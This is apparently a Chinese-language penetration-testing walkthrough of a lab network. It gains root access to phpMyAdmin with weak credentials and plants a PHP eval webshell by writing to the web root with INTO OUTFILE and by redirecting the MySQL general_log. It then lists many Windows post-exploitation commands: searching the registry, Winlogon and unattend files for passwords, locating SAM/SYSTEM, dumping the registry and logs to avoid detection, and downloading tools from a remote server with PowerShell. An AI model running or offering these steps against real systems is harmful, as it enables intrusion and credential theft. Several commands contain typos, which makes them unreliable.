當你的才華
還撐不起你的野心時
那你就應該靜下心來學習
目錄
0x01 開始
已知IP段如下:
公網:192.168.0.139
內網:192.168.244.139
192.168.244.130
1. 我們能先訪問開放了Web 服務的主機
192.168.0.139 ,發現額哼?出現phpstudy 探針
2. 順手Nmap 探測一下開放了有啥端口
3. 順路目錄掃描探測哈,發現存在phpmyadmin
5. 訪問phpmyadmin,嘗試是否存在弱口令,root/root或root/密碼爲空
6. 連接成功?那麼我們直接訪問剛剛目錄掃描出來的phpmyadmin路徑
http://192.168.0.139/phpmyadmin/index.php
輸入賬號root 密碼root,成功登陸phpMyadmin
7. 此時,我們應該幹嘛? 都拿到數據庫後臺管理權限了,還是root權限,不拿Webshell 的黑客,不是一個好黑客,日它。
這裏有很多數據庫,我們選擇mysql,點擊SQL 查詢
8. 嘗試寫WebShell
寫WebShell 需要兩個條件:知道絕對路徑和擁有執行權限
phpmyadmiN 後臺寫Webshell 的時候,發現自己還不知道絕對路徑,記憶中好像看到剛剛在目錄掃描中看到phpinfo.php,感覺有戲。走一波
CREATE TABLE agantable(cmd test NOT NULL);
INSERT INTO agantable(cmd) VALUE('<?php @eval ($_post('520');?>')
SELECT cmd FROM agantable INFO OUTEFILE ' '
DROP TABLE IF EXISTS agantable
select '<?php @eval($_POST[agan]);?>' into outfile 'C:/phpStudy/WWW/agan1.php'
日誌來寫入一句話select '<?php @eval($_POST[agan]);?>'
phpinfo頁面
1. 操作系統爲Windows 7 Business Edition Service Pack 1或Windows NT STU1 6.1 build 7601
2. 服務使用爲Apache 2.0 Handler
3. 網站路徑:C:/phpStudy/www (DOCUMENT_ROOT)
4. 網站真實IP:192.168.0.139 (SERVER_ADDR)
5. 一些敏感配置:發現,allow_url_include(關閉)
allow_url_include #該項如果開啓,則支持遠程文件包含,如果有存在文件包含的文件則可直接getshell,或可以使用php僞協議
disable_function #該項表示禁用的函數名
magic_quotes_gpc #php5.4以下版本有的函數,默認開啓,會對特殊字符進行轉移(php5.3.4以下 + magic_quotes_gpc off 可%00截斷)
6. php版本信息爲PHP 5.4.45
7. GOPHER 協議
也算是ssrf一部分吧,或者說主要靠ssrf利用起來,如果支持gopher,ssrf便沒有壓力咯
8. fastcgi (無開)
查看是否開啓fastcgi和fastcgi的版本,可能導致解析漏洞、遠程命令執行、任意文件讀取等問題
9. php擴展路徑(extension_dir)
php擴展的路徑
10. asp_tags(無開)
php標籤有四種格式,這個是asp風格的,默認不開啓。可以上傳.haccess/user.ini 繞過(php7移除)
11. magic_quotes_gpc(此版本無該參數)
魔術引號,它是用來實現addslshes()和stripslashes()這兩個功能的,對SQL注入進行防禦。
順便提一嘴用了addslshes()除非是有編碼問題要不然是不存在注入的。
12. open_basedir(無限制)
將用戶可操作的文件限制在某目錄下
13. imagick
這個的遠程執行
14. libxml
libxml 2.9以前的版本默認支持並開啓了外部實體的引用,
服務端解析用戶提交的 xml 文件時未對 xml 文件引用的外部實體
(含外部普通實體和外部參數實體)做合適的處理,會導致XXE。
15. memcache
Memcache未授權訪問漏洞利用及修復:
http://blog.nsfocus.net/memcache-unauthorized-access-exploit/
16. redis
17. session
18. xdebug
19. fastcgi
20. 泄漏緩存文件地址(_FILES[“file1”])
向phpinfo() post一個shell可以在_FILES[“file1”]中看到上傳的臨時文件,
如果有個lfi,便可以直接getshell了(使用條件競爭)。
https://www.freebuf.com/articles/web/79830.html
Sercure_file_priv 變量值爲空不可讀寫,且變量只讀不可編輯
這個參數用來限制數據導入和導出操作的效果,例如執行LOAD DATA、SELECT … INTO OUTFILE語句和LOAD_FILE()函數。這些操作需要用戶具有FILE權限。
如果這個參數爲空,這個變量沒有效果;
如果這個參數設爲一個目錄名,MySQL服務只允許在這個目錄中執行文件的導入和導出操作。這個目錄必須存在,MySQL服務不會創建它;
如果這個參數爲NULL,MySQL服務會禁止導入和導出操作。
這個參數在MySQL 5.7.6版本引入secure_file_priv的值默認爲NULL。並且無法用sql語句對其進行修改,只能夠通過以下方式修改
windows下:
修改mysql.ini 文件,在[mysqld] 下添加條目: secure_file_priv =
保存,重啓mysql。
Linux下:
在/etc/my.cnf的[mysqld]下面添加local-infile=0選項。
0x02 日誌利用提權
在php文件包含漏洞中我們有過這種利用方法:攻擊時進行一次附帶代碼的url請求,在日誌記錄這次請求之後,通過文件包含漏洞來包含這個日誌文件,從而執行請求中的代碼。
mysql也具有日誌,我們也可以通過日誌來getshell。
mysql日誌主要包含:錯誤日誌、查詢日誌、慢查詢日誌、事務日誌。
PS:因爲爲了性能考慮,一般general log不會開啓。slow log可以定位一些有性能問題的sql,而general log會記錄所有的SQL。
MySQL5.0版本,如果要開啓slow log、general log,需要重啓。
MySQL5.1.6版開始,general query log和slow query log開始支持寫到文件或者數據庫表兩種方式,並且日誌的開啓,輸出方式的修改,都可以在Global級別動態修改。
set global general_log = ON;
set global general_log_file = 'C:/phpStudy/www/agan1.php';
PS:此時開啓了general_log 將所有查詢語句記錄到新指定的可訪問的文件中
訪問下看看http://192.168.0.139/agan1.php 看看,顯示亂碼(或我們看不懂的東西就對了),基本上成功上傳Webshell了
打開蟻劍(蟻劍在手,天下我有)
蟻劍連接WebShell 操作步驟:
- 打開蟻劍右鍵【添加數據】
2. 添加關鍵參數:URL地址和剛剛自己寫入日誌的WebShell 密碼,其次還有連接方式默認是PHP(我們滲透的網站也是PHP,那就保持默認吧)其它的參數也保持默認吧,需要再改
3. 雙擊URL地址連接
0x03 獲取敏感信息
下面是整理的信息收集手段,具體來自哪裏,我葉搞忘了,前段時間整理的時候,忘記寫明出處了,如果有知道的,可以聯繫我,我附上鍊接
查看當前權限
或echo %USERNAME%
主機名
所屬域信息
set 環境變量
wmic qfe list 獲取補丁情況
但是其獲取的內容不是很完整,只能看到補丁的編號,下面這條命令可以獲取完整的補丁信息。
wmic是一個非常強大的工具,可以做很多事情,在滲透測試中有很多機會使用它
sc query state= all註冊表服務信息
net view 獲取在線主機信息
環境問題所致,所以看不到所處環境主機的信息
獲取本地用戶組、本地用戶、本地管理員信息
1) 本地用戶組
net localgroup
2)本地用戶
net user
列舉用戶,查看是否有舊的用戶配置文件沒有清理
dir /b /ad "C:\Users\" dir /b /ad "C:\Documents and Settings\" #Windows XP and below
查看是否有其它人登錄
qwinsta
查看註冊表中跟用戶自動登錄有關的內容
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>null | findstr "DefaultUserName DefaultDomainName DefaultPassword"
查看Credential Manager中的內容:
cmdky /list
確定是否可以訪問SAM和SYSTEM文件:
%SYSTEMROOT%\repair\SAM %SYSTEMROOT%\System32\config\RegBack\SAM %SYSTEMROOT%\System32\config\SAM %SYSTEMROOT%\repair\system %SYSTEMROOT%\System32\config\SYSTEM %SYSTEMROOT%\System32\config\RegBack\system
3)本地管理員信息
net localgroup administrators
獲取本地共享信息
net view /a \ %COMPUTRNAME%
PS:本地共享目錄也是我們需要關注的目錄,這裏面可能會有很多對我們提升權限有幫助的重要文件。
獲取IP信息
ipconfig /all
獲得本地端口開放與連接信息
netstat -ano
查看本地的計劃任務
at或schtask
從計劃任務中我們可以瞭解,這臺主機每天做哪些任務,或者當前用戶經常做哪些操作,甚至可以通過計劃任務信息,可以獲取到用戶另外的帳號密碼信息。
列出iis的站點有哪些
%windir%\system32\inetsrv\AppCmd.exe list site
保存系統上所有註冊表信息
這幾個命令比較暴力,有時候我們需要多次查詢註冊表信息,這樣就需要執行很多條命令,我們可以把系統的所有註冊表信息dump下來,本地分析,可以儘量減少執行命令的次數,減少日誌量,減少被發現的機率:
reg export HKLM hklm.reg reg export HKCU hkcu.reg reg export HKCU hkcr.reg reg export HKCU hku.reg reg export HKCU hkcc.reg
獲取系統日誌信息
日誌信息不管在任何系統上都是非常重要的,所以在Windows信息收集方面,收集日誌信息是必不可少的操作,獲取日誌的方式有兩種,一種是可以將系統的日誌複製回本地分析,一種是使用Windows官方的工具將日誌導出然後保存到本地。
複製日誌文件:
copy C:\Windows\System32\winevt\Logs\System.evtx copy C:\Windows\System32\winevt\Logs\security.evtx copy C:\Windows\System32\winevt\Logs\application.evtx
使用工具導出:
..\psloglist -x system > system.log ..\psloglist -x security > security.log ..\psloglist -x application > application.log
查看連接驅動
net use wmic logicaldisk get caption,description,providername
查看安裝了什麼軟件
dir /a "C:\Program Files" dir /a "C"\Program Files(x86)" reg query HEKY_LOCAL_MACHIN\SOFTWARE
有沒有文件夾或文件權限配置錯誤,查看“Program Files”和“Program Files (x86)”下對“Everyone”和“Users”開放所有權限的文件夾
icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "Everyone" icals "C:\Program Files(x86\*)" 2>null |findstr "(F)" | findstr "Everyone" icals "C:\Program Files\*" 2>null | findstr "(F)" | findstr "BUILIN\Users" icals "C:\Program Files(x86\*)" 2>null | findstr "(F)" |findstr "BUILIN\Users"
查看“Program Files”和“Program Files (x86)”下對“Everyone”和“Users”開放修改權限的文件夾:
icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "Everyone" icals "C:\Program Files(x86\*)" 2>null |findstr "(M)" | findstr "Everyone" icals "C:\Program Files\*" 2>null | findstr "(M)" | findstr "BUILIN\Users" icals "C:\Program Files(x86\*)" 2>null | findstr "(M)" |findstr "BUILIN\Users"
你也可以從Sysinternals上傳accesschk來檢查可寫文件夾和文件:
accesschk.exe -qwsu "Everyone" * accesschk.exe -qwsu "Authenticated Users" * accesschk.exe -qwsu "Users" *
查看系統上正在運行的進程/服務有哪些,以及有沒有暴露的內部服務:
tasklist /svc taskkill /v net start sc query
使用accesschk查看權限配置較弱的服務,以及能否重新配置
accesschk.exe -uwcqv "Everyone" * accesschk.exe -uwcqv "Authenticated Users" * accesschk.exe -uwcqv "Users" *
查看未引用的服務路徑:
wmic service get name.displayname,pathma,e,startmode 2>nul | findstr /i "Auto" 2>nul | findstr /i /v "C:\Windows\\" 2>nul | findstr /i /v """
查看計劃任務和自定義實現:
schtasks /query /fo LIST 2>nul | findstr TaskName dir C:\windows\tasks
查看啓動項:
wmic startup get caption,command reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run reg query HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run reg query HKCU\Software\Microsoft\Windows\CurrentVersion\RunOnce dir "C:\Documents and Settings\All Users\Start Menu\Programs\Startup" dir "C:\Documents and Settings\%username%\Start Menu\Programs\Startup"
注意AlwaysInstallElevated是否啓用:
reg query HKCU\Software\Microsoft\Windows\Installer /v AlwaysInstallElevated
查看路由器信息
route print
查看ARP 緩存
arp -a
查看是否連接到其它主機
netstat -ano
查看hosts文件
C:\WINDOWS\System32\drivers\etc\hosts
檢查防火牆
netsh firewall show state netsh firewall show config netsh advfirewall firewall show rule name=all netsh advfirewall export "firewall.txt"
查看接口配置
netsh dump
查看SNMP配置
reg query HKLM\SYSTEM\CurrentControlSet'Services\SNMP /s
查看註冊表中的密碼
reg query HKCU /f password /t REG_SZ /s reg query HKLM /f password /t REG_SZ /s
查找有沒有未清理的sysprep或無人值守的文件:
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul
如果服務器是IIS網絡服務器,那麼inetpub中有什麼?是否存在隱藏的目錄或者web.config文件:
dir /a C:\inetpub\ dir /s Web.config C:\Windows\System32\inetsrv\config\applicationHost.config
查看日誌:
c:\inetpub\logs\LogFiles\W3SVC1\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\W3SVC2\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\FTPSVC1\u_ex[YYMMDD].log c:\inetpub\logs\LogFiles\FTPSVC2\u_ex[YYMMDD].log
檢查是否安裝了XAMPP,Apache或PHP,以及是否有XAMPP,Apache或PHP的配置文件
dir /s php.ini httpd.conf httpd-xampp.conf my.ini my.cnf
查看是否有Apache網絡日誌
dir /s acces.log error.log
查看是否有其它有意思的文件,它們可能在用戶目錄中(桌面,文檔等):
dir /s *pass* == *vnc* == *.config* 2>nul
檢查其中是否有包含密碼的文件
findstr /si password *.xml *.ini *.txt *.config 2>nul
在提權過程中,你需要將文件放到你的目標上。下面是一些簡單方法:
Powershell Cmdlet(Powershell 3.0及更高版本):
Invoke-WebRequest "https://myserver/filename" -OutFile "C:\Windows\Temp\filename"
Powershell One-Liner:
(New-Object System.Net.WebClient).DownloadFile("https://myserver/filename","C:\Windows\Temp\filename")
參考鏈接(大部分內容來自如下文章):
https://mp.weixin.qq.com/s/hL9OYa7HDeMvUWdv99gtrA
https://mp.weixin.qq.com/s/nAGjUsre2Hg_IkCPXLxYDQ
https://mp.weixin.qq.com/s/QLoXt5JTjHreUkZIg1uW3g
雖然我們生活在陰溝裏,但依然有人仰望星空!